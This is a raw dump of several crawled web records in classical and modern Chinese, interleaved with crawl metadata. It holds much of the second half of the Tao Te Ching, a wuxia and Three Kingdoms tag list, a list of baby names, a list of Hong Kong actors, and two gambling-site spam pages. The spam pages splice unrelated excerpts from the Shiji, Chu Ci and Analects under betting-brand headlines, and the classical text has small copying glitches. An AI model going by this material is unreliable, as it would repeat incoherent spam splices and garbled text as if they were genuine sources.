藏必厚亡。知足不辱。知止不殆。可以長久。大成若缺。其用不弊。大盈若沖。其用不窮。大直若屈。大巧若拙。大辯若訥。躁勝寒。靜勝熱。清靜為天下正。天下有道。卻走馬以糞。天下無道。戎馬生於郊。罪莫大於可欲。禍莫大於不知足。咎莫大於欲得。故知足之足常足。不出戶。知天下。不窺牖。見天道。其出彌遠。其知彌少。是以聖人不行而知。不見而名。不為而成。為學日益。為道日損。損之又損。以至於無為。無為而無不為。取天下常以無事。及其有事。不足以取天下。聖人常無心。以百姓心為心。善者吾善之。不善者吾亦善之。德善。信者吾信之。不信者,吾亦信之。德信。聖人在天下。怵怵為天下渾其心。百姓皆注其耳目。聖人皆孩之。出生入死。生之徒十有三。死之德十有三。人之生動之死地十有三。夫何故。以其生生之厚。蓋聞善攝生者。陸行不遇兕虎。入軍不被甲兵。兕無所投其角。虎無所用其爪。兵無所容其刃。夫何故。以其無死地。道生之。德畜之。物形之。勢成之。是以萬物莫不尊道而貴德。道之尊。德之貴。夫莫之命而常自然。故道生之。德畜之。長之育之。成之熟之。養之覆之。生而不有。為而不恃。長而不宰。是謂玄德。天下有始以為天下母。既知其母。復知其子。復守其母。沒身不殆。塞其兌。閉其門。終身不勤。開其兌。濟其事。終身不救。見小曰明。守柔曰強。用其光。復歸其明。無遺身殃。是為襲常。使我介然有知。行於大道。唯施是畏。大道甚夷。而人好徑。朝甚除。田甚蕪。倉甚虛。服文綵。帶利劍。厭飲食。財貨有餘。是為盜夸。非道也哉。善建者不拔。善抱者不脫。子孫祭祀不輟。修之於身。其德乃真。修之於家。其德乃餘。修之於鄉。其德乃長。修之於國。其德乃豐。修之於天下。其德乃普。故以身觀身。以家觀家。以鄉觀鄉。以國觀國。以天下觀天下。吾何以知天下然哉。以此。含德之厚。比於赤子。毒蟲不螫。猛獸不據。攫鳥不搏。骨弱筋柔而握固。未知牝牡之合而峻作。精之至也。終日號而不啞。和之至也。知和曰常。知常曰明。益生日祥。心使氣日強。物壯則老。謂之不道。不道早已。知者不言。言者不知。挫其銳。解其紛。和其光。同其塵。是謂玄同。故不可得而親。不可得而疎。不可得而利。不可得而害。不可得而貴。不可得而賤。故為天下貴。以正治國。以奇用兵。以無事取天下。吾何以知其然哉。以此。天下多忌諱。而民彌貧。民多利器。國家滋昏。人多伎巧。奇物滋起。法令滋彰。盜賊多有。故聖人云。我無為而民自化。我好靜而民自正。我無事而民自富。我無欲而民自朴。其政悶悶。其民淳淳。其政察察。其民觖觖。禍兮福之所倚。福兮禍之所伏。孰知其極。其無正也。正復為奇。善復為妖。人之迷其日固久。是以聖人方而不割。廉而不害。直而不肆。光而不耀。治人事天莫若嗇。夫唯嗇。是謂早服。早服。謂之重積德。重積德則無不克。無不克。則莫知其極。莫知其極。可以有國。有國之母。可以長久。是謂深根固蒂。長生久視之道。治大國若烹小鮮。以道蒞天下。其鬼不神。非其鬼不神。其神不傷人。非其神不傷人。聖人亦不傷人。夫兩不相傷。故德交歸焉。大邦者下流,天下之交,天下之牡。牝常以靜勝牡。以靜為下。故大邦以下小國。則取小國。小國以下大國。則取大國。故或下以取。或下而取。大國不過欲兼畜人。小國不過欲入事人。夫兩者。各得所。欲大者宜為下。道者萬物之奧。善人之寶。不善人之所保。美言可以市。尊行可以加人。人之不善。何棄之有。故立天子置三公。雖有拱璧以先駟馬。不如坐進此道。古之所以貴此道者。何不曰求以得。有罪以免邪。故為天下貴。為無為。事無事。味無味。大小多少。報怨以德。圖難於其易。為大於其細。天下難事。必作於易。天下大事。必作於細。是以聖人終不為大。故能成其大。夫輕諾必寡信。多易必多難。是以聖人猶難之。故終無難矣。其安易持。其未兆易謀。其脆易破。其微易散。為之於未有。治之於未亂。合抱之木。生於毫末。九層之臺,。於累土。千里之行。始於足下。民之從事。常於幾成而敗之。慎終如始。則無敗事。是以聖人欲不欲。不貴難得之貨。學不學。復眾人之所過。以輔萬物之自然而不敢為。古之善為道者。非以明民。將以愚之。民之難治。以其智多。故以智治國國之賊。不以智治國國之福。知此兩者亦稽式。常知稽式。是謂玄德。玄德深矣遠矣。與物反矣。然後乃至大順。江海之所以能為百谷王。以其善下之。故能為百谷王。是以聖人欲上民。必以言下之。欲先民。必以身後之。是以聖人處上而民不重。處前而民不害。是以天下樂推而不厭。以其不爭。故天下莫能與之爭。天下皆謂我道大。似不肖。夫唯大。故似不肖。若肖久矣其細。夫我有三寶。持而寶之。一曰慈。二曰儉。三曰不敢為天下先。慈故能勇。儉故能廣。不敢為天下先。故能成器長。今舍慈且勇。舍儉且廣。舍後且先。死矣。夫慈以戰則勝。以守則固。天將救之。以慈衛之。善為士者不武。善戰者不怒。善勝戰者。不與。善用人者為下。是謂不爭之德。是謂用人之力。是謂配天古之極。用兵有言。吾不敢為主而為客。不敢進寸而退尺。是謂行無行。攘無臂。仍無敵。執無兵。禍莫大於輕敵。輕敵幾喪吾寶。故抗兵相加。哀者勝矣。吾言甚易知。甚易行。天下莫能知。莫能行。言有宗。事有君。夫唯無知。是以不我知。知我者希。則我者貴。是以聖人被褐而懷玉。知不知,上不知知病。夫唯病病。是以不病。聖人不病以其病。病是以不病。民不畏威。則大威至矣。無狹其所居,無厭其所生。夫唯不厭。是以不厭。是以聖人自知。不自見。自愛不自貴。故去彼取此。勇於敢則殺。勇於不敢則活。此兩者。或利或害。天之所惡。孰知其故。是以聖人猶難之。天之道。不爭而善勝。不言而善應。不召而自來。繟然而善謀。天網恢恢。疎而不失。民不畏死。奈何以死懼之。若使民常畏死。而為奇者。吾得執而殺之。孰敢常有司殺者。夫代司殺者。是謂代大匠斲。夫代大匠斲者。希有不傷其手者矣。民之饑。以其上食稅之多。是以饑。民之難治。以其上之有為。是以難治。民之輕死。以其求生之厚。是以輕死。夫唯無以生為者。是賢於貴生。人之生也柔弱。其死也堅強。草木之生也柔脆。其死也枯槁。故堅強者死之徒。柔弱者生之徒。是以兵強則不勝。木強則折共強。大處下。柔弱處上。天之道。其猶張弓乎。高者抑之。下者舉之。有餘者損之。不足者補之。天之道。損有餘而補不足。人之道則不然。損不足以奉有餘。孰能有餘以奉天下。唯有道者。是以聖人為而不恃。功成而不處。其不欲見賢。天下莫柔弱於水。而攻堅強者莫之能勝。其無以易之。弱之勝強。柔之勝剛。天下莫不知。莫能行。是以聖人云。受國之垢。是謂社稷主。受國不祥。是為天下王。正言若反。知大怨。必有餘怨。安可以為善。是以聖人執左契而不責於人。有德司契。無德司徹。天道無親。常與善人。小國寡民。使有什伯之器而不用。使民重死而不遠徙。雖有舟輿。無所乘之。雖有甲兵。無所陳之。使民復結繩而用之。甘其食。美其服。安其居。樂其俗。鄰國相望。雞犬之聲相聞。民至老死不相往來。信言不美美言不信。善者不辯。辯者不善。知者不博。博者不知。聖人不積。既以為人己愈有。既以與人己愈多。天之道利而不害。聖人之道。為而不爭。","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/yacer.pixnet.net\/blog\/archives\/201009","date":"2018-09-20T22:56:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267156622.36\/warc\/CC-MAIN-20180920214659-20180920235059-00162.warc.gz","language":"lzh","language_score":0.4995542169,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.49955421686172485, \"cmn_Hani_score\": 0.17192396521568298, \"nan_Hani_score\": 0.0744866356253624, \"zxx_Latn_score\": 0.03569142892956734, \"und_Tang_score\": 0.021512316539883614, \"jpn_Jpan_score\": 0.01760971173644066, \"und_Sgnw_score\": 0.0117852333933115, \"wuu_Hani_score\": 0.01012980006635189}","num_words":3,"character_repetition_ratio":0.01,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.491,"perplexity_score":500.0,"cluster_detection":1} +{"text":"所有標籤\n以下為所有討論主題標籤,你可以選擇喜歡的來看看大家在討論什麼?\n荀攸 曹丕伐吳 童子功十三太保橫練 荀彧 趙半山 青龍會 鬼火十三拍 西陵之戰 神蛛凌空銀絲渡虛 奪命簪 雙手互搏 駱冰 天魔大法 梵我如一 趙敏 少林神拳 五嶽劍派 絕代雙驕角色列表 東洋神風刀法 丈八蛇矛 興勢之戰 霓裳仙舞 魔佛十式 九品中正制 九字真言手印 黑白子 木婉清 血海飄香 就地十八滾 曹操討伐袁術之戰 扭轉乾坤殺手劍 劍毒梅香 陳宮 汪劍通 方天畫戟 司馬師 金蛇郎君 天魅凝陰 五毒神功 仇國論 多情劍客無情劍 沙影二十八劍 織女劍法 裘千尺 梅超風 蛤蟆功 衛青 鳩摩智 鮑三娘 柳絮劍法 索額圖 燎原百擊 紫氣天羅 慕容博 橫煉罡 風鈴中的刀聲 合淝之戰 韋春花 井中八法 合淝新城之戰 辟邪劍法 馬忠 少林三渡 絕情谷 丁典 段譽 九陰真經 嵩山十三太保 碧海潮生曲 楊儀 泰山派 炎陽奇功 楚留香新傳之蝙蝠傳奇 曹純 趙志敬 瑛姑 黃祖 張翼 蕭遠山 流雲飛袖 街亭 魯肅 四大名捕 雙尖軟矛 關平 古龍作品 鄧芝 三少爺的劍 金錢幫 紫霞神功 化石神功 七禽身法 幻影劍法 桃幹仙 雷霆刀法 蝶雙飛 陸抗 張無忌 魅影身法 曹操攻徐州之戰 彩環曲 關索 劉備 小龍女 林朝英 甄姬 歸藏鞭 七十二路分筋錯骨手 郭芙 華山論劍 大手印 蒼穹神劍 的盧 呂母 華山派 于萬亭 菊花的刺 沉沙劍法 白世鏡 披風杖法 起風了 金丹大法 公孫止 蔡文姬 曹仁 張春華 石亭之戰 連城訣 碧血劍 迎風一刀斬 倚天屠龍記 雙修大法 徐盛 武田信玄 魏晉玄學 南皮之戰 洪七公 玉女媚術 九轉無相神功 達摩手 滅絕師太 水笙 胡昭 男人見不得 飛燕七式 史火龍 鴛鴦腿 奇功絕藝榜 藏密智能書 射鵰三部曲 雙兒 司馬昭弒君 神君別傳 建寧公主 德川家康 董卓討伐戰 曹休 天龍八部 魏滅蜀之戰 玉女劍法 飛鷹十三刺 魏滅蜀之戰 涼州軍劫天子 紫微軟劍 狂沙刀法 石亭之戰 孫策 曹操迎天子 一串鞭 降龍十八掌 丹青生 五絕神功 大人物 裂馬槍 青釭劍 桃花島 孫堅 華山派 冰玄勁 小昭 桃枝仙 儀琳 馬岱 九韶定音劍 龍木島主 龐統 太史慈 孫權 絕不低頭 碎金剛乘 君子劍 陽頂天 彭長老 獨孤九劍 回轉斧法三十式 貝海石 風清揚 炎元真氣 宗預 閔柔 蔣濟 岳靈珊 羊祜 合肥之戰 博望坡之戰 林平之 飛龍大九式 豔陽刃法 章進 陸小鳳傳奇 壽春三叛 田伯光 劍花煙雨江南 周泰 海神 楊過 覆雨劍法 邊荒傳說 洪承疇 化骨綿掌 常赫志 余魚同 馬皇后 殭屍拳 周伯通 三尸腦神丹 呂蒙 南匈奴 金蛇劍 七殺手 太虛錯手 貂蟬 黃蓉 夏侯淵 上官鼎 諸葛亮 丁春秋 移玉大法 李莫愁 血鸚鵡 連體心法 破蓮八著 雪山飛狐 滿地開花八十—式 金輪法王 如意八打 魅影劍法 蔣幹 馬謖 吳質 左慈 滿天花雨 范遙 郭馬之亂 玩命拳 蕭十一郎 天一掌 袁承志 石中玉 尹克西 成昆 擒拿截脈法 萬物波動心法 魅變術 烏金血劍 歸魂十八爪 郭嘉 星彩 吳三桂 賈詡 誰來跟我乾杯 神龍教 古龍 陸遜 魔心連環 衡山派 殘金缺玉 嵩山派 銅錘 蒼穹十三式 鍾繇 曹丕 任我行 幻魔身法 金絲綿掌 心硯 丁不四 常伯志 失魂引 空明拳 先天氣功 全真教 神刀斬 呂玲綺 徐庶 鍾靈 無崖子 李典 夏青青 石雙英 摘心手 藍鳳凰 隆中對 迷蹤七變 袁紹 書劍恩仇錄 官渡之戰 漢中之戰 八賢王 摩尼教 無念禪功 東興之戰 無相神功 金剛門 武當掌法 夷陵之戰 塌上策 沖虛道長 戰神圖錄 海大富 破碎虚空 決戰前後 東興之戰 伊達政宗 大元丹法 甘寧 天心蓮環 第六天魔王 天山童姥 李元霸 尋秦記 武夷派 鬼王鞭 青龍偃月刀 覆雨翻雲 蕭摩訶 青城派 一扇十八搖 霍去病 姜維北伐 白萬劍 丞相,起風了 賈充 丹心術 不死七幻 掩月劍法 吳六奇 大唐雙龍傳 紅花會 神鵰俠侶 水雲袖法 空城計 六脈神劍 散手八撲 逍遙拆 玄氣大法 武當七俠 方證大師 孫皓 折花百式 葵花寶典 凌波微步 王元姬 建安文學 界橋之戰 雲行雨飄 鳳天南 怒劍狂花 太清元功 定逸師太 伏養氣功 菩提心功 張飛 羅憲 降龍伏虎羅漢拳 樊城之戰 阿珂 鍾會之亂 鐵騎快劍 七傷拳 大開碑手 姑蘇慕容 荊州 霍青桐 劉備稱帝 空綁術 倉亭之戰 天魔擊三大散招 江南七怪 林遠圖 飛天狐狸 全真七子 張苞 尼摩星 阿九 奕劍術 流星鎚 枯木神功 邊城浪子 諸葛誕 七星龍王 諸葛恪 長河正氣 殷離 孫曉 晉滅吳之戰 吳應熊 亡神十八掌 嫁衣神功 子貴母死 驚魂六記 笮融 儀琳 玄鐵劍法 無想奼女大法 祝融 瘋魔上天下地一百零七撃 桃實仙 楊成協 天地明環 鄭丰 蒼穹十三劍 郭靖 孫策平江東之戰 斷絕神功 黃蓋 文鴦 益州之戰 淑女劍 程英 張遼 曹操 謝煙客 賈南風 馬大元 天鷹教 滅神掌 挾天子 方怡 司馬昭 越女劍 聖火令 耶律齊 董允 吸星大法 黃天大法 諸葛亮南征 群狐 韋小寶 傻姑 流星鎚 火併蕭十一郎 九轉還童 小喬 黃皓 鷹變十三式 玄鐵重劍 謝遜 絕代雙驕 乾隆 石破天 鄧艾 飛龍五式 先天功 變天擊地大法 永安之戰 十住大乘功 燕子三抄水 英雄無淚 趙雲 屯田制 左冷禪 劍罡同流 孤星傳 長平公主 白狼山之戰 梅花鉤 打狗棒法 枯榮大師 黑鬼爪 楊修 曾柔 赤壁之戰 王平 血戰十式 十二都天神功 陳到 道心種魔大法 廖化 阿紫 夷陵之戰 歐陽鋒 天外流星 內家橫練 逍遙訣 金庸 旋風十八矛 蔣琬 白自在 枯禪玄功 法顯 呂壹專權 阿青 定靜師太 令狐沖 神州奇俠 吳國太 劍玄錄 逆水寒 程靈素 段正明 丁奉 倚天劍 尉遲敬德 滿寵 韓當 歸辛樹 余滄海 七殺拳 不戒和尚 明珠 丁不三 賭局 關羽 石田三成 白馬嘯西風 劉表 王異 鳥渡術 法正 天外飛仙 典韋 李廣 冷月寶刀 許褚 孫尚香 刀劍雙殺七七四十九式 文醜 鴛鴦刀 飄香劍雨 屠龍刀 挾刀揉手 九月鷹飛 九難 一指頭禪 臥龍生 武當派 白阿繡 蕭逸 齊桓公 徐榮 桃谷六仙 花間十二支 崆峒派 程普 不死印法 戚芳 金針開穴之法 無想十法 陳家洛 楊逍 文泰來 曹丕篡漢 楊頂天 蔣四根 湘妃劍 勞德諾 大旗英雄傳 御盡萬法根源智經 五毒教 臥龍 紫血大法 桃葉仙 徐晃 郭淮 梁羽生 換日大法 日月麗天大法 大拍手 凌統 曹爽專權 浣花洗劍錄 張角 董卓 峨嵋派 狼牙 喬鋒 梅花鉤 楚留香新傳 軟蝟甲 魯有腳 費禕 福康安 二宮之爭 情人箭 朱然 完顏洪烈 莫大先生 圓月彎刀 桃花仙 潼關之戰 清風十三式 孟獲 古墓派 凝真九變 玉女素心劍法 周芷若 胡斐 護花鈴 天涯明月刀 朱子柳 恆山派 碧落紅塵 霍都 天地明環 青松劍譜 銀雕 天魔心法 夢姑 華陀針 星际浪子 溫瑞安 慈航劍典 合淝之戰 大武俠時代 日月神教 地煞拳 少林派 穆念慈 衛春華 任盈盈 九陽神功 武林外史 狄雲 龐德 月英 鎖子縮骨功 劍客行 幽灵山庄 硃砂掌 鬼魅潛蹤 四大惡人 龍吟曲 玄慈 易京之戰 周倉 五帝鐧 銀龍手 九陽真經 種玉大法 慕容復 黃鍾公 牛郎一百零八棍 日月當空 魏延 李牧 韋一笑 布衣神相 楚留香新傳之借屍還魂 封天閉地 不碎金剛 白玉老虎 蘇荃 呂布爭徐州 黯然銷魂掌 彈指神通 無塵道長 郭解 壽春馳援 尉遲恭 逍遙派 黃權 刑遁術 曹洪 寧中則 羅漢伏虎拳 武三通 大喬 笑傲江湖 于禁 飛伏一百零八槍 穿雲劍法 歡樂英雄 呂后 名劍風流 夏侯霸 嫁衣神功 韋小寶 仙門劍訣 桃根仙 丞相 曹真 大意失荊州 翔鷹劍法 西蜀地形圖 虛竹 馮錫范 雌雄雙股劍 下邳之戰 達爾巴 康熙 韓小瑩 靈犀一指 張郃 夏姬 兵器譜 定閒師太 陳近南 高平陵之變 袁紫衣 石清 死眷術 北冥神功 遊俠錄 大地飛鷹 諸葛瞻 鐵蒺藜骨朵 交阯之亂 禿筆翁 馬超 飛鶯飛鷹 楚留香傳奇 破精自絕大法 流星蝴蝶劍 定世鞭 黃皓專權 關興 裘千仞 明玉功 龍門鏢局 譙周 伏魔劍法 星宿派 李秋水 左手刀法 天魔手七十二式 曹睿 張召重 風萍掌 掃地僧 月異星邪 楚留香新傳之新月傳奇 岳不羣 吳起 倪匡 姜維 鹿鼎記 荊楚爭雄記 黃忠 徐天宏 呂布 伏虎神拳 丁璫 劉禪 太虛勁 碧血洗銀槍 鰲拜 公孫綠萼 司馬懿 楊康 蝴蝶穿花七十二式 毛玠 孫皓暴政 歐陽克 諸葛亮北伐 康敏 白骨爪 彼岸劍訣 奪命十三劍 俠客行 九玄大法 崑崙派 孫權建國 太極七截棍 曹叡 小鷹爪功 劍氣書香 段正淳 三十六招鳥啄擊法 一休 王語嫣 燕子雙飛 暴雨梨花釘 心佛掌 刀白鳳 飛狐外傳 沐劍屏 捨身大法 飛刀,又見飛刀 東方不敗 黃藥師 夏侯惇 王重陽 鍾會 龜息功 張大春 阿朱 急風十三刺 樂進 移花接玉 游坦之 竹節鞭 夏侯嬰 奼女心法 一燈大師 關銀屏 周瑜 練師 張三李四 大圓滿杖法 袖裡乾坤 瀟湘子 七种武器 江夏戰神 陸無雙 丐幫 郭襄 鐵脊蛇矛 五虎斷門刀 張三丰 五行劍法 五虎斷門刀 七流星","id":"","dump":"CC-MAIN-2019-35","url":"https:\/\/www.herostory.tw\/alltags?from=hottags","date":"2019-08-21T09:27:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-35\/segments\/1566027315865.44\/warc\/CC-MAIN-20190821085942-20190821111942-00138.warc.gz","language":"lzh","language_score":0.5900561213,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5900561213493347, \"nan_Hani_score\": 0.2526960074901581, \"cmn_Hani_score\": 0.12174990028142929, \"yue_Hani_score\": 0.03296079486608505}","num_words":825,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.593,"perplexity_score":500.0,"cluster_detection":1} +{"text":"利记体育开盘三大指数涨跌不一沪指跌026氮化镓概念强势\n管蔡相武庚,将宁旧商;及旦摄政,二叔不飨;杀鲜放度,周公为盟;大任十子,周以宗彊。嘉仲悔过,作管蔡世家第五。\n子贡好废举,与时转货赀。喜扬人之美,不能匿人之过。常相鲁卫,家累千金,卒终于齐。\n三十二年,釐公同母弟夷仲年死。其子曰公孙无知,釐公爱之,令其秩服奉养比太子。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n游兆摄提格建始元年。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/wap.dtvinternet.com\/qys8156437.html","date":"2020-02-25T15:40:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146123.78\/warc\/CC-MAIN-20200225141345-20200225171345-00472.warc.gz","language":"lzh","language_score":0.6336080432,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6336080431938171, \"cmn_Hani_score\": 0.15228059887886047, \"nan_Hani_score\": 0.12397181242704391, \"yue_Hani_score\": 0.019170006737113, \"jpn_Jpan_score\": 0.012434606440365314}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.464,"perplexity_score":500.0,"cluster_detection":1} +{"text":"博亿堂bet98app史上首次纽交所今起改全电子交易会给市场带来什么风险\n赵简子在位,晋顷公之九年,简子将合诸侯戍于周。其明年,入周敬王于周,辟弟子朝之故也。\n子夏曰:\"日知其所亡,月无忘其所能,可谓好学也已矣。\"\n臣闻地广者粟多,国大者人众,兵彊则士勇。是以太山不让土壤,故能成其大;河海不择细流,故能就其深;王者不卻众庶,故能明其德。是以地无四方,民无异国,四时充美,鬼神降福,此五帝、三王之所以无敌也。今乃弃黔首以资敌国,卻宾客以业诸侯,使天下之士退而不敢西向,裹足不入秦,此所谓\"藉寇兵而赍盗粮\"者也。\n朋友死,无所归,曰:\"于我殡。\"\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/ngtcm.yzlqjd.com\/cqrbt\/757895.html","date":"2020-04-06T00:52:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371612531.68\/warc\/CC-MAIN-20200406004220-20200406034720-00419.warc.gz","language":"lzh","language_score":0.4867451191,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.48674511909484863, \"cmn_Hani_score\": 0.3822885751724243, \"nan_Hani_score\": 0.03497607633471489, \"wuu_Hani_score\": 0.01953473873436451, \"jpn_Jpan_score\": 0.012745804153382778}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.182,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.372,"perplexity_score":500.0,"cluster_detection":1} +{"text":"本站提示:以下提供的所有名字僅供參考,並非針對八字分析後的權威結果,請仔細斟酌後在套用。\n諸詩怡 諸潔茹 諸茹 諸淑穎 諸妍穎 諸怡彤 諸妍彤 諸晶穎 諸新穎 諸欣穎 諸辰穎 諸穎穎 諸子怡 諸利娟 諸文潔 諸怡琳 諸怡蘭 諸琳孜 諸玲孜 諸燕子 諸愛芬 諸思穎 諸婭婕 諸婭潔 諸娟華 諸亞潔 諸雅潔 諸彩花 諸娜芬 諸奶芬 諸小花 諸婷婷 諸婉雪 諸紅梅 諸菊芬 諸金英 諸怡愷 諸茹愷 諸婧愷 諸倩愷 諸愷茹 諸琳愷 諸愷琳 諸燕文 諸艷紅 諸江萍 諸江紅 諸煥穎 諸文妍 諸文燕 諸雯燕 諸冰燕 諸如燕 諸霜穎 諸涵穎 諸晗穎 諸婉穎 諸芸悅 諸友芳 諸芮瑩 諸瑞瑩 諸婭寒 諸茉穎 諸吟萍 諸琴清 諸墨妍 諸墨瑩 諸墨穎 諸亞文 諸靜穎 諸月穎 諸默穎 諸若麗 諸婧琳 諸旭紅 諸錟妍 諸妍錟 諸妍釩 諸妍錁 諸妍鏗 諸妍鎖 諸妍鍥 諸妍鈽 諸妍鈺 諸妍羽 諸妍譽 諸妍俞 諸妍雨 諸妍玉 諸妍語 諸妍喬 諸妍佳 諸妍翼 諸茵英 諸曉英 諸雪英 諸曉雪 諸小雪 諸雪穎 諸夢穎 諸夢婷 諸怡婷 諸玉霞 諸紋穎 諸雯霞 諸雯穎 諸玉婷 諸潔潔 諸婷 諸玉穎 諸君潔 諸洛美 諸伊美 諸伊雪 諸靜怡 諸妍妤 諸靈琳 諸朗悅 諸重玉 諸培芬 諸涵秀 諸佳瑩 諸怡寧 諸佳怡 諸夢瑩 諸允怡 諸幼梅 諸紅花 諸金花 諸宸怡 諸遠文 諸雪 諸文娟 諸怡佳 諸怡嘉 諸妍琳 諸妍霖 諸雨嫣 諸紫嫣 諸伊婷 諸妍菲 諸妍霏 諸翰怡 諸鳳穎 諸樂穎 諸怡新 諸怡昕 諸菲莉 諸倩柔 諸嫻琳 諸琳寧 諸忻嫣 諸忻妍 諸妍萱 諸璇妍 諸智妍 諸慧妍 諸芯莉 諸媛嬡 諸娉婷 諸婕婷 諸艷婷 諸夢悅 諸夢茹 諸嬌美 諸芸美 諸婭娜 諸瑩瑩 諸逸怡 諸惠婭 諸怡欣 諸珈瓊 諸瀚琳 諸珈瑤 諸銅紅 諸薇娜 諸秀寧 諸阿芳 諸曉文 諸旭霞 諸剛琴 諸嫣 諸蓉蓉 諸炫文 諸曠文 諸證文 諸照文 諸思文 諸葛英 諸小英 諸紅婭 諸琳琳 諸軼婷 諸怡 諸秋嬋 諸健文 諸婷金 諸三妹 諸佳瑤 諸宇芬 諸鴻燕 諸潔麗 諸海艷 諸江媛 諸江玲 諸宇芳 諸研冉 諸妍冉 諸嫣然 諸匯妍 諸樂妍 諸添妍 諸善妍 諸惜妍 諸錦妍 諸希妍 諸韻穎 諸薇潔 諸雪芬 諸愫瓊 諸巧麗 諸巧莉 諸麗莉 諸泓文 諸飛文 諸秋紅 諸凝怡 諸韻潔 諸娉妍 諸景文 諸怡伶 諸羿穎 諸愈蓉 諸凱悅 諸莉燁 諸玲 諸悅華 諸悅樺 諸琴英 諸瓊瓊 諸之悅 諸華娟 諸菁媛 諸莉婷 諸莉穎 諸莉莉 諸玲莉 諸三英 諸嫻婭 諸鏈燕 諸國花 諸理萍 諸婧媛 諸蓮紅 諸娜紅 諸瓊 諸芳芳 諸蘭芳 諸茜倩 諸倩倩 諸敏倩 諸曉穎 諸艾婷 諸艾穎 諸竽穎 諸郁穎 諸鈺穎 諸雨穎 諸芋穎 諸儀穎 諸亞穎 諸妍波 諸家怡 諸丕婧 諸清怡 諸遠怡 諸昌玉 諸藝文 諸新梅 諸紅婷 諸婭奕 諸奕婭 諸蓮妹 諸連妹 諸萍萍 諸沂穎 諸儀婷 諸依穎 諸禮妍 諸思潔 諸恆潔 諸修潔 諸沁怡 諸穎妍 諸曉琳 諸祝英 諸麗麗 諸廣文 諸光文 諸麗瓊","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/dr.itsfun.com.tw\/xingming\/mzdq\/5737.html","date":"2020-09-28T07:13:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600401585213.82\/warc\/CC-MAIN-20200928041630-20200928071630-00662.warc.gz","language":"lzh","language_score":0.9999191761,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9999191761016846}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n張衛健 吳孟達 張茜 郭昶 鄭國霖 潘結 黃一飛 卓凡 李穎 易智遠 馮進高 張東昇 林海海 龔錦堂 王蓓\n田蕊妮 曹永廉 李思捷 李國麟 韋家雄 林凱恩 李綺雯 羅天宇 林師傑 餘思霆 林宣妤 尹詩沛 徐玟晴 李君妍 白雲 梁芷珮 陳俊堅 王致迪 丘梓謙 丁樂鍶 曹思詩 麥皓兒 黃雪兒 蓋世寶 馮素波 胡楓 李楓 李霖恩 易智遠 張漢斌 梁珈詠 陳偉洪 何佩珉 董敬文 周志康 陳靖雲 劉宸熙 袁文傑 梁茵 劉天龍 陳榮峻 盧峻峯 吳沚默 陳嘉嘉 王樹熹 區明妙\n黎耀祥 陳豪 李佳芯 江美儀 龔嘉欣 高海寧 麥明詩 謝東閔 江嘉敏 鄭子誠 孫慧雪 李成昌 樊亦敏 馬海倫 譚嘉儀 吳業坤 韓馬利 羅蘭 戴耀明 何遠東 邵卓堯 鄭家生 楊證樺 歐瑞偉 林景程 陳嘉輝 伍富橋 周志康 李豪 盧峻峯 程浩駿 易智遠 陳潁熙 易宇航\n洪永城 黃心穎 湯洛雯 謝東閔 鄭子誠 潘志文 郭少芸 張慧儀 劉思希 於洋 陳婉婷 黎振燁 張美妮 馮素波 莊思明 王子涵 李霖恩 何豔娟 白雲 曾敏 吳珮如 